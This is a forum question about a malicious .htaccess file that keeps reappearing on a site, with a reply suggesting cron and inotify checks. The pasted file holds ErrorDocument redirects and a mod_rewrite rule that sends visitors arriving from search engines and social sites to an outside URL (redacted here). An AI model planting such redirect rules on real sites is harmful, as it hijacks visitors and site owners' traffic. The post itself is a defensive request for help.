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Asked: 2026-05-27T01:28:23+00:00

I am running 1.5.25 and somehow a .htaccess file keeps getting created on my

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I am running 1.5.25 and somehow a .htaccess file keeps getting created on my root.

ErrorDocument 400 http:// redirected url index.php                                                                                                                      
ErrorDocument 404 http:// redirected url index.php  index.php                                                                                                                       
ErrorDocument 500 http://redirected url /index.php  

<IfModule mod_rewrite.c>                                                                                                                        
RewriteEngine On                                                                                                                        
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr)\.(.*)                                                                                                                     
RewriteRule ^(.*)$ http://redirected url index.php   [R=301,L]                                                                                                                      
</IfModule>

I would like to know how to find out who creates this .htaccess file even when deleted. Is there a away to find out which script creates this? Which user creates it?

Anyone who has had this problem before? Is there a way I can create a .htaccess and disable it from being changed. Applying 644 permission setting does not seem to help.

NOTE: I have changed actual redirect URL to redirected url index.php

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  1. Editorial Team

    Maybe a good first check is to see if there are any cronjobs who do this (crontab -l). Some hosting panels have cleanup actions and only allow modification of the .htaccess by using their UI (so it gets stored in a database first).

    This might get you underway as well; http://www.infoq.com/articles/inotify-linux-file-system-event-monitoring

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